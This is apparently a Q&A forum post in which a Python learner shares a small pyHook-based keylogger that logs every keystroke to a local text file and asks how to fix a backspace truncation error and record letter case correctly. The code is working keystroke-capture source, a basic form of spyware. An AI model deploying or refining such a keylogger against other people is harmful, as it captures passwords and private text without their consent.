1

As I am currently learning Python I stumbled upon an interesting video on youtube showing how to build a simple Python Keylogger. I decided to modify it a little bit and make it able to delete last character when user presses backspace, so I added an if statement with seek and truncate methods.

import pyHook, pythoncom, os

file_log = "D:/Python Projects/log.txt"


def OnKeyboardEvent(event):
    global keylog
    keylog = chr(event.Ascii)
    with open(file_log, "a") as fl:
        if event.Ascii == 13:
            fl.write("\n")
        elif event.Ascii == 8:
            fl.seek(-1, os.SEEK_END)
            fl.truncate()
        else:
            fl.write(keylog)
        fl.close()
    return True

hooking = pyHook.HookManager()
hooking.KeyDown = OnKeyboardEvent
hooking.HookKeyboard()
pythoncom.PumpMessages()

However when I try to run the code and when the backspace key is pressed i get the following error:

io.UnsupportedOperation: can't do nonzero end-relative seeks

So, can anyone help me with this? Also, now the keylogger stores every character as an uppercase letter. Is there a way to modify the script to recognize whether the character is lower or upper letter and to store it that way?

  • 1
    It looks like you're running into the issue described in [this other question](https://stackoverflow.com/questions/21533391/seeking-from-end-of-file-throwing-unsupported-exception). – David Z Jan 20 '17 at 23:17
  • You shouldn't make your `keylog` variable global. There's no reason for this. – blubberdiblub Jan 21 '17 at 08:00

0 Answers0